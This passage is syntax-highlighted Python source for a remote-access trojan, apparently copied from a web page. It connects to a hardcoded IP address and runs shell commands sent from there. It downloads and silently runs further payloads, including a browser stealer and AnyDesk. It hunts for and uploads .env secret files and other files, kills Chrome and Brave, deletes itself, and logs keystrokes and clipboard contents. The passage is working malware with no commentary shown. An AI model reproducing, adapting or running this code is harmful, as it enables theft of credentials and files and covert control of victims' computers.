<span class="string">&#x27;&#x27;</span>:o=<span class="string">&#x27;&#x27;</span></span><br><span class="line">            <span class="keyword">elif</span> cmd.split()[<span class="number">0</span>] == <span class="string">&#x27;cd&#x27;</span>:</span><br><span class="line">                proc = subprocess.Popen(cmd, shell=_T)</span><br><span class="line">                <span class="keyword">if</span> <span class="built_in">len</span>(cmd.split()) != <span class="number">1</span>:</span><br><span class="line">                    p=<span class="string">&#x27; &#x27;</span>.join(cmd.split()[<span class="number">1</span>:])</span><br><span class="line">                    <span class="keyword">if</span> os.path.exists(p):os.chdir(p)</span><br><span class="line">                o=os.getcwd()</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                proc=subprocess.Popen(cmd,shell=_T,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE).communicate()</span><br><span class="line">                <span class="keyword">try</span>:o=decode_str(proc[<span class="number">0</span>]);err=decode_str(proc[<span class="number">1</span>])</span><br><span class="line">                <span class="keyword">except</span>:o=proc[<span class="number">0</span>];err=proc[<span class="number">1</span>]</span><br><span class="line">                o=o <span class="keyword">if</span> o <span class="keyword">else</span> err</span><br><span class="line">        <span class="keyword">except</span>:<span class="keyword">pass</span></span><br><span class="line">        p=&#123;_A:a,_O:o&#125;;A.send(code=<span class="number">1</span>, args=p)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">ssh_clip</span>(<span class="params">A,args</span>):</span><br><span class="line">        <span class="keyword">global</span> e_buf</span><br><span class="line">        <span class="keyword">try</span>:A.send(code=<span class="number">3</span>, args=e_buf);e_buf = <span class="string">&quot;&quot;</span></span><br><span class="line">        <span class="keyword">except</span>:<span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">bro_down</span>(<span class="params">A,p</span>):</span><br><span class="line">        <span class="keyword">if</span> os.path.exists(p):</span><br><span class="line">            <span class="keyword">try</span>:os.remove(p)</span><br><span class="line">            <span class="keyword">except</span> OSError:<span class="keyword">return</span> _T</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            <span class="keyword">if</span> <span class="keyword">not</span> os.path.exists(A.par_dir):os.makedirs(A.par_dir)</span><br><span class="line">        <span class="keyword">except</span>:<span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line">        host2 = <span class="string">f&quot;http://<span class="subst">&#123;HOST&#125;</span>:<span class="subst">&#123;PORT&#125;</span>&quot;</span></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            myfile = requests.get(host2+<span class="string">&quot;/brow/&quot;</span>+sType+<span class="string">&quot;/&quot;</span>+gType, allow_redirects=_T)</span><br><span class="line">            <span class="keyword">with</span> <span class="built_in">open</span>(p,<span class="string">&#x27;wb&#x27;</span>) <span class="keyword">as</span> f:f.write(myfile.content)</span><br><span class="line">            <span class="keyword">return</span> _T</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:<span class="keyword">return</span> _F</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">ssh_run</span>(<span class="params">A,args</span>):</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            a=args[_A];p=A.par_dir+<span class="string">&quot;/bow&quot;</span>;res=A.bro_down(p)</span><br><span class="line">            <span class="keyword">if</span> res:</span><br><span class="line">                <span class="keyword">if</span> os_type == <span class="string">&quot;Windows&quot;</span>:subprocess.Popen([sys.executable,p],creationflags=subprocess.CREATE_NO_WINDOW|subprocess.CREATE_NEW_PROCESS_GROUP)</span><br><span class="line">                <span class="keyword">else</span>:subprocess.Popen([sys.executable,p])</span><br><span class="line">            o = os_type + <span class="string">&#x27; get browse&#x27;</span></span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:o = <span class="string">f&#x27;Err4: <span class="subst">&#123;e&#125;</span>&#x27;</span>;<span class="keyword">pass</span></span><br><span class="line">        p=&#123;_A:a,_O: o&#125;;A.send(code=<span class="number">4</span>,args=p)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">send_5</span>(<span class="params">A,a,o</span>):A.send_n(a,<span class="number">5</span>,o)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">ssh_upload</span>(<span class="params">A,args</span>):</span><br><span class="line">        o=<span class="string">&#x27;&#x27;</span></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            D=args[_A];cmd=args[<span class="string">&#x27;cmd&#x27;</span>]</span><br><span class="line">            cmd=ast.literal_eval(cmd)</span><br><span class="line">            <span class="keyword">if</span> <span class="string">&#x27;sdir&#x27;</span> <span class="keyword">in</span> cmd:sdir=cmd[<span class="string">&#x27;sdir&#x27;</span>];dn=cmd[<span class="string">&#x27;dname&#x27;</span>];sdir=sdir.strip();dn=dn.strip();A.ss_upd(D,cmd,sdir,dn);<span class="keyword">return</span> _T</span><br><span class="line">            <span class="keyword">elif</span> <span class="string">&#x27;sfile&#x27;</span> <span class="keyword">in</span> cmd:sfile=cmd[<span class="string">&#x27;sfile&#x27;</span>];dn=cmd[<span class="string">&#x27;dname&#x27;</span>];sfile=sfile.strip();dn=dn.strip();A.ss_upf(D,cmd,sfile,dn);<span class="keyword">return</span> _T</span><br><span class="line">            <span class="keyword">elif</span> <span class="string">&#x27;sfind&#x27;</span> <span class="keyword">in</span> cmd:dn=cmd[<span class="string">&#x27;dname&#x27;</span>];pat=cmd[<span class="string">&#x27;sfind&#x27;</span>];dn=dn.strip();pat=pat.strip();A.ss_ufind(D,cmd,dn,pat);<span class="keyword">return</span> _T</span><br><span class="line">            <span class="keyword">else</span>:A.ss_ups();o=<span class="string">&#x27;Stopped ...&#x27;</span></span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:<span class="built_in">print</span>(<span class="string">&quot;error_upload:&quot;</span>, <span class="built_in">str</span>(e));o = <span class="string">f&#x27;Err4: <span class="subst">&#123;e&#125;</span>&#x27;</span>;<span class="keyword">pass</span></span><br><span class="line">        A.send_5(D,o)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">ss_upd</span>(<span class="params">A,D,args,sd,name</span>):</span><br><span class="line">        A.cp_stop=<span class="number">0</span>;t=_N</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            <span class="keyword">if</span> sd==<span class="string">&#x27;.&#x27;</span>:sd=os.getcwd()</span><br><span class="line">            A.send_5(D,<span class="string">&#x27; &gt;&gt; upload start: &#x27;</span> + sd)</span><br><span class="line">            res=ld(sd,<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">            A.send_5(D,<span class="string">&#x27;  -count: &#x27;</span> + <span class="built_in">str</span>(<span class="built_in">len</span>(res)-<span class="number">1</span>))</span><br><span class="line">            <span class="keyword">for</span> (x,y) <span class="keyword">in</span> res:</span><br><span class="line">                <span class="keyword">if</span> A.cp_stop==<span class="number">1</span>:A.send_5(D,<span class="string">&#x27; upload stopped &#x27;</span>);<span class="keyword">return</span></span><br><span class="line">                <span class="keyword">if</span> y==<span class="string">&#x27;&#x27;</span>:<span class="keyword">continue</span></span><br><span class="line">                A.ss_hup(os.path.join(sd,y),D,name,<span class="number">5</span>)</span><br><span class="line">            A.send_5(D,<span class="string">&#x27; uploaded success &#x27;</span>)</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> ex:</span><br><span class="line">            o=<span class="string">&#x27; copy error :&#x27;</span>+<span class="built_in">str</span>(ex);A.send_5(D,o)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">ss_hup</span>(<span class="params">A,sn,D,name,n</span>):</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            up_time = <span class="built_in">str</span>(<span class="built_in">int</span>(time.time()))</span><br><span class="line">            files = [</span><br><span class="line">                (<span class="string">&#x27;multi_file&#x27;</span>, (up_time + <span class="string">&#x27;_&#x27;</span> + os.path.basename(sn), <span class="built_in">open</span>(sn, <span class="string">&#x27;rb&#x27;</span>))),</span><br><span class="line">            ]</span><br><span class="line">            r = &#123;</span><br><span class="line">                <span class="string">&#x27;type&#x27;</span>: sType,</span><br><span class="line">                <span class="string">&#x27;hid&#x27;</span>: gType + <span class="string">&#x27;_&#x27;</span> + sHost,</span><br><span class="line">                <span class="string">&#x27;uts&#x27;</span>: name,</span><br><span class="line">            &#125;</span><br><span class="line">            host2 = <span class="string">f&quot;http://<span class="subst">&#123;HOST&#125;</span>:<span class="subst">&#123;PORT&#125;</span>&quot;</span></span><br><span class="line">            requests.post(host2 + <span class="string">&quot;/uploads&quot;</span>, files=files, data=r)</span><br><span class="line">            <span class="keyword">if</span> os.path.basename(sn) != <span class="string">&#x27;flist&#x27;</span>:</span><br><span class="line">                write_flist(up_time + <span class="string">&#x27;_&#x27;</span> + os.path.basename(sn) + <span class="string">&quot; : &quot;</span> + sn + <span class="string">&quot;\n&quot;</span>)</span><br><span class="line">                o=<span class="string">&#x27; copied &#x27;</span> + fmt_s(os.path.getsize(sn)) + <span class="string">&#x27;:  &#x27;</span> + os.path.basename(sn)</span><br><span class="line">                A.send_n(D,n,o)</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                os.remove(sn)</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:o=<span class="string">&#x27; failed: &#x27;</span>+sn+<span class="string">&#x27; &gt; &#x27;</span>+<span class="built_in">str</span>(e);A.send_n(D,n,o)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">ss_upf</span>(<span class="params">A,admin,args,sfile,name</span>):</span><br><span class="line">        D=admin;A.cp_stop=<span class="number">0</span>;t=_N</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            sdir=os.getcwd()</span><br><span class="line">            A.send_5(D,<span class="string">&#x27; &gt;&gt; upload start: &#x27;</span> + sdir + <span class="string">&#x27; &#x27;</span> + sfile)</span><br><span class="line">            sn=os.path.join(sdir,sfile)</span><br><span class="line">            A.ss_hup(sn,D,name,<span class="number">5</span>)</span><br><span class="line">            A.send_5(D,<span class="string">&#x27; uploaded done &#x27;</span>)</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> ex:</span><br><span class="line">            o=<span class="string">&#x27; copy error :&#x27;</span>+<span class="built_in">str</span>(ex);A.send_5(D,o)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">ss_ufind</span>(<span class="params">A,D,args,name,pat</span>):</span><br><span class="line">        A.cp_stop=<span class="number">0</span>;t=_N</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            A.send_5(D,<span class="string">&#x27; &gt;&gt; ufind start: &#x27;</span> + os.getcwd())</span><br><span class="line">            <span class="keyword">if</span> os_type == <span class="string">&quot;Windows&quot;</span>:</span><br><span class="line">                command = <span class="string">&#x27;dir /b /s &#x27;</span> + pat + <span class="string">&#x27; | findstr /v /i &quot;node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi&quot;&#x27;</span></span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                command = <span class="string">&#x27;find . -type d -name &quot;node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi&quot; -prune -o -name &#x27;</span> + pat + <span class="string">&#x27; -print&#x27;</span></span><br><span class="line">            proc=subprocess.Popen(command,shell=<span class="literal">True</span>,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE).communicate()</span><br><span class="line"></span><br><span class="line">            dirs = proc[<span class="number">0</span>].decode(<span class="string">&#x27;utf8&#x27;</span>).split(<span class="string">&#x27;\n&#x27;</span>)</span><br><span class="line">            <span class="keyword">if</span> dirs == [<span class="string">&#x27;&#x27;</span>]:</span><br><span class="line">                A.send_5(D,<span class="string">&#x27;  -count: &#x27;</span> + <span class="built_in">str</span>(<span class="number">0</span>))</span><br><span class="line">                A.send_5(D,<span class="string">&#x27; Not exist &#x27;</span>)</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                A.send_5(D,<span class="string">&#x27;  -count: &#x27;</span> + <span class="built_in">str</span>(<span class="built_in">len</span>(dirs)-<span class="number">1</span>))</span><br><span class="line">                <span class="keyword">for</span> key <span class="keyword">in</span> dirs:</span><br><span class="line">                    <span class="keyword">if</span> A.cp_stop == <span class="number">1</span>:A.send_5(D,<span class="string">&#x27; upload stopped &#x27;</span>);<span class="keyword">break</span></span><br><span class="line">                    <span class="keyword">if</span> key.strip() == <span class="string">&#x27;&#x27;</span>:</span><br><span class="line">                        <span class="keyword">continue</span></span><br><span class="line">                    A.ss_hup(key.strip(),D,name,<span class="number">5</span>)</span><br><span class="line">                A.send_5(D,<span class="string">&#x27; ufind success &#x27;</span>)</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> ex:</span><br><span class="line">            o=<span class="string">&#x27; copy error :&#x27;</span>+<span class="built_in">str</span>(ex);A.send_5(D,o)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">ss_ups</span>(<span class="params">A</span>):A.cp_stop=<span class="number">1</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">ss_uenv</span>(<span class="params">A,D,C</span>):</span><br><span class="line">        proc=subprocess.Popen(C,shell=<span class="literal">True</span>,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE).communicate()</span><br><span class="line"></span><br><span class="line">        dirs = proc[<span class="number">0</span>].decode(<span class="string">&#x27;utf8&#x27;</span>).split(<span class="string">&#x27;\n&#x27;</span>)</span><br><span class="line">        <span class="keyword">if</span> dirs == [<span class="string">&#x27;&#x27;</span>]:</span><br><span class="line">            A.send_n(D, <span class="number">8</span>,<span class="string">&#x27;  -count: &#x27;</span> + <span class="built_in">str</span>(<span class="number">0</span>))</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            A.send_n(D, <span class="number">8</span>,<span class="string">&#x27;  -count: &#x27;</span> + <span class="built_in">str</span>(<span class="built_in">len</span>(dirs)-<span class="number">1</span>))</span><br><span class="line">            <span class="keyword">for</span> key <span class="keyword">in</span> dirs:</span><br><span class="line">                <span class="keyword">if</span> A.cp_stop == <span class="number">1</span>:A.send_n(D, <span class="number">8</span>,<span class="string">&#x27; upload stopped &#x27;</span>);<span class="keyword">break</span></span><br><span class="line">                <span class="keyword">if</span> key.strip() == <span class="string">&#x27;&#x27;</span>:</span><br><span class="line">                    <span class="keyword">continue</span></span><br><span class="line"></span><br><span class="line">                A.ss_hup(key.strip(),D,<span class="string">&#x27;global_env&#x27;</span>,<span class="number">8</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">ssh_env</span>(<span class="params">A,args</span>):</span><br><span class="line">        drive_list = [<span class="string">&#x27;C&#x27;</span>, <span class="string">&#x27;D&#x27;</span>, <span class="string">&#x27;E&#x27;</span>, <span class="string">&#x27;F&#x27;</span>, <span class="string">&#x27;G&#x27;</span>]</span><br><span class="line">        A.cp_stop = <span class="number">0</span></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            a=args[_A];c=args[<span class="string">&#x27;cmd&#x27;</span>]</span><br><span class="line">            c=ast.literal_eval(c)</span><br><span class="line">            A.send_n(a,<span class="number">8</span>,<span class="string">&#x27;--- uenv start &#x27;</span>)</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> os_type == <span class="string">&quot;Windows&quot;</span>:</span><br><span class="line">                <span class="keyword">for</span> key <span class="keyword">in</span> drive_list:</span><br><span class="line">                    <span class="keyword">if</span> os.path.exists(<span class="string">f&quot;<span class="subst">&#123;key&#125;</span>:\\&quot;</span>) == <span class="literal">False</span>:</span><br><span class="line">                        <span class="keyword">continue</span></span><br><span class="line">                    c = <span class="string">&#x27;dir /b /s &#x27;</span> + key + <span class="string">&#x27;:\*.env | findstr /v /i &quot;node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi&quot;&#x27;</span></span><br><span class="line">                    A.ss_uenv(a,c)</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                c = <span class="string">&#x27;find ~/ -type d -name &quot;node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi&quot; -prune -o -name *.env -print&#x27;</span></span><br><span class="line">                A.ss_uenv(a,c)</span><br><span class="line">            A.send_n(a,<span class="number">8</span>,<span class="string">&#x27;--- uenv success &#x27;</span>)</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:A.send_n(a,<span class="number">8</span>,<span class="string">&#x27; uenv err: &#x27;</span>+<span class="built_in">str</span>(e))</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">ssh_kill</span>(<span class="params">A,args</span>):</span><br><span class="line">        D=args[_A]</span><br><span class="line">        <span class="keyword">if</span> os_type == <span class="string">&quot;Windows&quot;</span>:</span><br><span class="line">            <span class="keyword">try</span>:subprocess.Popen(<span class="string">&#x27;taskkill /IM chrome.exe /F&#x27;</span>)</span><br><span class="line">            <span class="keyword">except</span>:<span class="keyword">pass</span></span><br><span class="line">            <span class="keyword">try</span>:subprocess.Popen(<span class="string">&#x27;taskkill /IM brave.exe /F&#x27;</span>)</span><br><span class="line">            <span class="keyword">except</span>:<span class="keyword">pass</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="keyword">try</span>:subprocess.Popen(<span class="string">&#x27;killall Google\ Chrome&#x27;</span>)</span><br><span class="line">            <span class="keyword">except</span>:<span class="keyword">pass</span></span><br><span class="line">            <span class="keyword">try</span>:subprocess.Popen(<span class="string">&#x27;killall Brave\ Browser&#x27;</span>)</span><br><span class="line">            <span class="keyword">except</span>:<span class="keyword">pass</span></span><br><span class="line">        p=&#123;_A:D,_O: <span class="string">&#x27;Chrome &amp; Browser are terminated&#x27;</span>&#125;</span><br><span class="line">        A.send(code=<span class="number">6</span>,args=p)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">down_any</span>(<span class="params">A,p</span>):</span><br><span class="line">        <span class="keyword">if</span> os.path.exists(p):</span><br><span class="line">            <span class="keyword">try</span>:os.remove(p)</span><br><span class="line">            <span class="keyword">except</span> OSError:<span class="keyword">return</span> _T</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            <span class="keyword">if</span> <span class="keyword">not</span> os.path.exists(A.par_dir):os.makedirs(A.par_dir)</span><br><span class="line">        <span class="keyword">except</span>:<span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line">        host2 = <span class="string">f&quot;http://<span class="subst">&#123;HOST&#125;</span>:<span class="subst">&#123;PORT&#125;</span>&quot;</span></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            myfile = requests.get(host2+<span class="string">&quot;/adc/&quot;</span>+sType, allow_redirects=_T)</span><br><span class="line">            <span class="keyword">with</span> <span class="built_in">open</span>(p,<span class="string">&#x27;wb&#x27;</span>) <span class="keyword">as</span> f:f.write(myfile.content)</span><br><span class="line">            <span class="keyword">return</span> _T</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:<span class="keyword">return</span> _F</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">ssh_any</span>(<span class="params">A,args</span>):</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            D=args[_A];p = A.par_dir + <span class="string">&quot;/adc&quot;</span>;res=A.down_any(p)</span><br><span class="line">            <span class="keyword">if</span> res:</span><br><span class="line">                <span class="keyword">if</span> os_type == <span class="string">&quot;Windows&quot;</span>:subprocess.Popen([sys.executable,p],creationflags=subprocess.CREATE_NO_WINDOW|subprocess.CREATE_NEW_PROCESS_GROUP)</span><br><span class="line">                <span class="keyword">else</span>:subprocess.Popen([sys.executable,p])</span><br><span class="line">            o = os_type + <span class="string">&#x27; get anydesk&#x27;</span></span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:o = <span class="string">f&#x27;Err7: <span class="subst">&#123;e&#125;</span>&#x27;</span>;<span class="keyword">pass</span></span><br><span class="line">        p=&#123;_A:D,_O:o&#125;;A.send(code=<span class="number">7</span>,args=p)</span><br><span class="line"></span><br><span class="line">HOST0 = <span class="string">&#x27;146.70.253.107&#x27;</span></span><br><span class="line">PORT0 = <span class="number">2241</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Client</span>():</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">A</span>):A.server_ip = HOST0;A.server_port = PORT0;A.is_active = _F;A.is_alive = _T;A.timeout_count = <span class="number">0</span>;A.shell = _N</span><br><span class="line"></span><br><span class="line"><span class="meta">    @property</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">make_connection</span>(<span class="params">A</span>):</span><br><span class="line">        <span class="keyword">while</span> _T:</span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                A.client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><br><span class="line">                s = Session(A.client_socket)</span><br><span class="line">                s.connect(A.server_ip, A.server_port)</span><br><span class="line">                A.shell = Shell(s);A.is_active = _T</span><br><span class="line">                <span class="keyword">if</span> A.shell.shell():</span><br><span class="line">                    <span class="keyword">try</span>:<span class="built_in">dir</span> = os.getcwd();<span class="built_in">print</span>(<span class="string">&quot;dir:&quot;</span>, <span class="built_in">dir</span>);fn=os.path.join(<span class="built_in">dir</span>,sys.argv[<span class="number">0</span>]);<span class="built_in">print</span>(<span class="string">&quot;fn:&quot;</span>, fn);os.remove(fn)</span><br><span class="line">                    <span class="keyword">except</span> Exception <span class="keyword">as</span> ex:<span class="built_in">print</span>(<span class="string">&quot;connection error:&quot;</span>, ex);<span class="keyword">pass</span></span><br><span class="line">                    <span class="keyword">return</span> _T</span><br><span class="line">                sleep(<span class="number">15</span>)</span><br><span class="line">            <span class="keyword">except</span> Exception <span class="keyword">as</span> e: <span class="built_in">print</span>(<span class="string">&quot;error_make:&quot;</span>, e); sleep(<span class="number">20</span>);<span class="keyword">pass</span></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">run</span>(<span class="params">A</span>):</span><br><span class="line">        t2=Thread(target=auto_up);t2.daemon=_T;t2.start()</span><br><span class="line">        <span class="keyword">if</span> A.make_connection:<span class="keyword">return</span></span><br><span class="line"></span><br><span class="line">client = Client()</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line">is_w=sys.platform.startswith(<span class="string">&#x27;win&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    <span class="keyword">if</span> is_w == _F:</span><br><span class="line">        <span class="keyword">try</span>:client.run()</span><br><span class="line">        <span class="keyword">except</span> KeyboardInterrupt:<span class="keyword">pass</span></span><br><span class="line">        sys.exit(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">_M=<span class="string">&#x27;-m&#x27;</span>;_P=<span class="string">&#x27;pip&#x27;</span>;_L=<span class="string">&#x27;install&#x27;</span></span><br><span class="line"><span class="keyword">import</span> subprocess</span><br><span class="line"><span class="keyword">try</span>:<span class="keyword">import</span> pyWinhook <span class="keyword">as</span> pyHook</span><br><span class="line"><span class="keyword">except</span>:subprocess.check_call([sys.executable,_M,_P,_L,<span class="string">&#x27;pyWinhook&#x27;</span>]);<span class="keyword">import</span> pyWinhook <span class="keyword">as</span> pyHook</span><br><span class="line"><span class="keyword">try</span>:<span class="keyword">import</span> pyperclip</span><br><span class="line"><span class="keyword">except</span>:subprocess.check_call([sys.executable,_M,_P,_L,<span class="string">&#x27;pyperclip&#x27;</span>]);<span class="keyword">import</span> pyperclip</span><br><span class="line"><span class="keyword">try</span>:<span class="keyword">import</span> psutil</span><br><span class="line"><span class="keyword">except</span>:subprocess.check_call([sys.executable,_M,_P,_L,<span class="string">&#x27;psutil&#x27;</span>]);<span class="keyword">import</span> psutil</span><br><span class="line"><span class="keyword">try</span>:<span class="keyword">import</span> win32process</span><br><span class="line"><span class="keyword">except</span>:subprocess.check_call([sys.executable,_M,_P,_L,<span class="string">&#x27;pywin32&#x27;</span>]);<span class="keyword">import</span> win32process</span><br><span class="line"><span class="keyword">try</span>:<span class="keyword">import</span> pythoncom</span><br><span class="line"><span class="keyword">except</span>:subprocess.check_call([sys.executable,_M,_P,_L,<span class="string">&#x27;pywin32&#x27;</span>]);<span class="keyword">import</span> pythoncom</span><br><span class="line"><span class="keyword">try</span>:<span class="keyword">import</span> win32gui</span><br><span class="line"><span class="keyword">except</span>:subprocess.check_call([sys.executable,_M,_P,_L,<span class="string">&#x27;pywin32&#x27;</span>]);<span class="keyword">import</span> win32gui</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">act_win_pn</span>():</span><br><span class="line">    <span class="keyword">try</span>:pid = win32process.GetWindowThreadProcessId(win32gui.GetForegroundWindow());<span class="keyword">return</span> (pid[-<span class="number">1</span>], psutil.Process(pid[-<span class="number">1</span>]).name())</span><br><span class="line">    <span class="keyword">except</span>:<span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">write_txt</span>(<span class="params">text</span>):<span class="number">0</span></span><br><span class="line"></span><br><span class="line">c_win = <span class="number">0</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">check_window</span>(<span class="params">event</span>):</span><br><span class="line">    <span class="keyword">global</span> c_win</span><br><span class="line">    <span class="keyword">if</span> c_win != event.Window:</span><br><span class="line">        (pid, text) = act_win_pn()</span><br><span class="line">        tz = timezone(offset=timedelta(hours=<span class="number">9</span>))</span><br><span class="line">        d_t = datetime.fromtimestamp(time.time(), tz)</span><br><span class="line">        t_s = d_t.strftime(<span class="string">&quot;%m/%d/%Y, %H:%M:%S&quot;</span>)</span><br><span class="line"></span><br><span class="line">        c_win = event.Window</span><br><span class="line">        <span class="keyword">return</span> <span class="string">f&quot;\n**\n-[ <span class="subst">&#123;text&#125;</span> | PID: <span class="subst">&#123;pid&#125;</span>-<span class="subst">&#123;c_win&#125;</span>\n-[ @ <span class="subst">&#123;t_s&#125;</span> | <span class="subst">&#123;event.WindowName&#125;</span>\n**\n&quot;</span></span><br><span class="line">    <span class="keyword">return</span> <span class="string">&quot;&quot;</span></span><br><span class="line">m_win = <span class="number">0</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">hmld</span>(<span class="params">event</span>):</span><br><span class="line">    <span class="keyword">global</span> e_buf, m_win</span><br><span class="line">    <span class="keyword">if</span> m_win!=event.Window:m_win=event.Window;tt=<span class="string">&#x27;&lt;..&gt;&#x27;</span></span><br><span class="line">    <span class="keyword">else</span>:tt=<span class="string">&#x27;&lt;.&gt;&#x27;</span></span><br><span class="line">    e_buf+=tt;write_txt(tt);<span class="keyword">return</span> _T</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">hmrd</span>(<span class="params">event</span>):</span><br><span class="line">    <span class="keyword">global</span> e_buf, m_win</span><br><span class="line">    <span class="keyword">if</span> m_win!=event.Window:m_win=event.Window;tt=<span class="string">&#x27;&lt;,,&gt;&#x27;</span></span><br><span class="line">    <span class="keyword">else</span>:tt=<span class="string">&#x27;&lt;,&gt;&#x27;</span></span><br><span class="line">    e_buf+=tt;write_txt(tt);<span class="keyword">return</span> _T</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">is_down</span>(<span class="params">status</span>):</span><br><span class="line">    <span class="keyword">if</span> status == <span class="number">128</span>: <span class="keyword">return</span> _T</span><br><span class="line">    <span class="keyword">return</span> _F</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">is_control_down</span>():</span><br><span class="line">    <span class="keyword">return</span> is_down(pyHook.GetKeyState(<span class="number">0x11</span>)) <span class="keyword">or</span> is_down(pyHook.GetKeyState(<span class="number">0xA2</span>)) <span class="keyword">or</span> is_down(pyHook.GetKeyState(<span class="number">0xA3</span>))</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">run_copy_clipboard</span>():</span><br><span class="line">    <span class="keyword">global</span> e_buf</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        copied = pyperclip.waitForPaste(<span class="number">0.05</span>)</span><br><span class="line">        tt = <span class="string">&quot;\n=================BEGIN================\n&quot;</span>;tt += copied;tt += <span class="string">&quot;\n==================END==================\n&quot;</span></span><br><span class="line">        e_buf += tt;write_txt(tt)</span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> ex:<span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">hkb</span>(<span class="params">event</span>):</span><br><span class="line">    <span class="keyword">if</span> event.KeyID == <span class="number">0xA2</span> <span class="keyword">or</span> event.KeyID == 